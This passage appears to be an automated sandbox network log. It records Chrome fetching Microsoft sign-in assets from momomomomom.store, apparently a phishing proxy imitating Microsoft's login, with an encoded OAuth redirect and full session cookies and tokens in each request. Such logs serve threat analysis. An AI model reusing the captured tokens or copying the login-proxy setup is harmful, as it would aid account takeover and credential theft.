xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-05-07 18:28:49 UTC	1812	IN	Data Raw: 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 02 80 00 00 8a 00 02 80 00 00 20 02 80 00 Data Ascii: @PEPmEPHEPDQQ@@@TPB( ( ("(( ( " * (*(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49781	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:48 UTC	2785	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:49 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:49 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: 426e148e-701e-0001-2bac-a0ce9c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182848Z-17859dc676bv899wct3n9xansg00000005m000000001898h x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:28:49 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNG IHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49780	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:48 UTC	2788	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:49 UTC	786	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:49 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: b1d39f05-201e-0048-19ac-a06e9e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182848Z-1675f555588rjdlba78m1uwh8n00000005xg00000000t0p6 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:28:49 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ {&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49783	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:48 UTC	2774	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:49 UTC	744	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:48 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 830868a3-401e-0072-6a96-9d419a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182848Z-17859dc676bb5mt5dnt7htr70800000005wg00000001ag6e x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:28:49 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH (00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-05-07 18:28:49 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49784	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:48 UTC	2788	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:48 UTC	778	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:48 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: d17f19ef-301e-0039-5e4e-a0b79c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182848Z-1675f555588rhcztye3sbbmyrg00000005v00000000102mk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:28:48 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$ UAWUaX `'= \|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\ sfUN B>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49787	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
